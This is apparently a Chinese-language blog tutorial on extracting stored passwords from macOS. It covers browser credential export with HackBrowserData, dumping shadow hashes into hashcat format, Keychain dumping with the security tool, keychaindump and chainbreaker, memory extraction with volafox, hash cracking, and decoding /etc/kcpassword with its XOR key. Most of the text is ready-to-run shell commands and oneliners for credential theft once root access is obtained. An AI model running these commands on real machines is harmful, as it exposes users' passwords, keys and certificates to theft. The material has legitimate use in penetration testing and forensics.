在我个人认为OSx中 主要有几类密码存在如:Browser Passwords(浏览器密码)、Shadow Passwords(影子密码)、Keychain(钥匙串)、kcpassword(登陆密码)。所有的实验都是在我自己的多台电脑测试以及模拟。
本文也将按照这几种密码的分类来说明如何获取各类密码。
很多人都会习惯把密码保存在浏览器,那么浏览器密码可以说是重中之重了。
HackBrowserData
是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。
由于 MacOS 的安全性设置,基于 Chromium
内核浏览器解密时需要当前用户密码
浏览器 | 密码 | Cookie | 书签 | 历史记录 |
---|---|---|---|---|
Google Chrome | ✅ | ✅ | ✅ | ✅ |
Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
Chromium | ✅ | ✅ | ✅ | ✅ |
Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
Brave | ✅ | ✅ | ✅ | ✅ |
Opera | ✅ | ✅ | ✅ | ✅ |
OperaGX | ✅ | ✅ | ✅ | ✅ |
Vivaldi | ✅ | ✅ | ✅ | ✅ |
Yandex | ✅ | ✅ | ✅ | ✅ |
CocCoc | ✅ | ✅ | ✅ | ✅ |
Firefox | ✅ | ✅ | ✅ | ✅ |
Firefox Beta | ✅ | ✅ | ✅ | ✅ |
Firefox Dev | ✅ | ✅ | ✅ | ✅ |
Firefox ESR | ✅ | ✅ | ✅ | ✅ |
Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
Safari | ❌ | ❌ | ❌ | ❌ |
可下载已编译好,可直接运行的 二进制文件
某些情况下,这款安全工具会被 Windows Defender 或其他杀毒软件当作病毒导致无法执行。代码已经全部开源,可自行编译。
仅支持 go1.18+
以后版本,一些函数使用到了泛型
$ git clone https://github.com/moonD4rk/HackBrowserData
$ cd HackBrowserData/cmd/hack-browser-data
$ CGO_ENABLED=1 go build
影子密码与用户的配置一起存储在 /var/db/dslocal/nodes/Default/users/
.
以下oneliner可用于转储有关用户的所有信息(包括哈希信息):
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
像这个或这个这样的脚本可用于将散列转换为hashcat 格式。
另一种单行代码将以 hashcat 格式 -m7100
(macOS PBKDF2-SHA512) 转储所有非服务帐户的信用:
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "<a href="#footnote-_"><sup>[_]</sup></a>*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
请注意,当使用安全二进制文件转储解密后的密码时,会出现多个提示,要求用户允许此操作。
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
攻击者仍然需要获得对系统的访问权限并升级到root权限才能运行keychaindump。这种方法有其自身的条件。如前所述,登录后,您的钥匙串默认解锁,并在您使用系统时保持解锁状态。这是为了方便,这样用户就不需要在每次应用程序希望访问钥匙串时都输入密码。如果用户更改了此设置并选择在每次使用后锁定钥匙串,则钥匙串转储将不再起作用;它依赖于解锁的钥匙串来运行。
了解 Keychaindump 如何从内存中提取密码很重要。此交易中最重要的过程是“安全”过程。Apple 将此进程称为授权和加密操作的安全上下文守护进程。Apple 开发人员库对此并没有多说;但是,他们确实告诉我们 securityd 处理对钥匙串的访问。在他的研究中,Juuso将解密钥匙串所需的密钥称为“万能钥匙”。需要采取许多步骤来获取此密钥,因为它是从用户的 OS X 登录密码派生的。如果你想读取钥匙串文件,你必须有这个主密钥。可以执行以下步骤来获取它。执行 securityd 的堆扫描(keychaindump 使用 vmmap 命令执行此操作)。可能的主密钥存储在标记为 MALLOC_TINY 的区域中。您可以使用以下命令自己查看这些堆的位置:
sudo vmmap <securityd PID> | grep MALLOC_TINY
然后Keychaindump将在返回的堆中搜索 0x0000000000000018 的出现。如果以下 8 字节值指向当前堆,我们就找到了一个潜在的主密钥。从这里开始,仍然需要进行一些反混淆,这可以在源代码中看到,但作为分析师,需要注意的最重要部分是解密此信息的必要数据存储在 securityd 的进程内存中。这是钥匙串转储输出的示例。
sudo ./keychaindump
这些工具似乎在 Big Sur 无法使用请在10.15.x及以下使用。
Chainbreaker可用于以可靠的方式从 OSX 钥匙串中提取以下类型的信息:
Hashed Keychain password, suitable for cracking with hashcat or John the Ripper
Internet Passwords
Generic Passwords
Private Keys
Public Keys
X509 Certificates
Secure Notes
Appleshare Passwords
给定钥匙串解锁密码,使用volafox或volatility获得的主密钥,或诸如 SystemKey 之类的解锁文件,Chainbreaker 还将提供明文密码。
如果没有这些解锁钥匙串的方法之一,Chainbreaker 将显示所有其他可用信息。
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
按照以下步骤执行内存转储
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
如果您知道用户密码,您可以使用它来转储和解密属于该用户的钥匙串。
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
macOS 钥匙串破解工具。带有GUI界面。
https://github.com/macmade/KeychainCracker
kcpassword文件是保存用户登录密码的文件,但前提是系统所有者启用了自动登录。因此,用户将自动登录而无需输入密码(这不是很安全)。
密码存储在 /etc/kcpassword
与密钥异或的文件中 0x7D0x890x520x230xD20xBC0xDD0xEA0xA30xB90x1F
。如果用户密码比密钥长,则密钥将被复用。这使得密码很容易恢复,使用这个的脚本。
其实上面所测试的大部分方式都在较新的OSx系统上无法使用。如果想在新的OSx上使用还需要去看系统的更新内容及改变。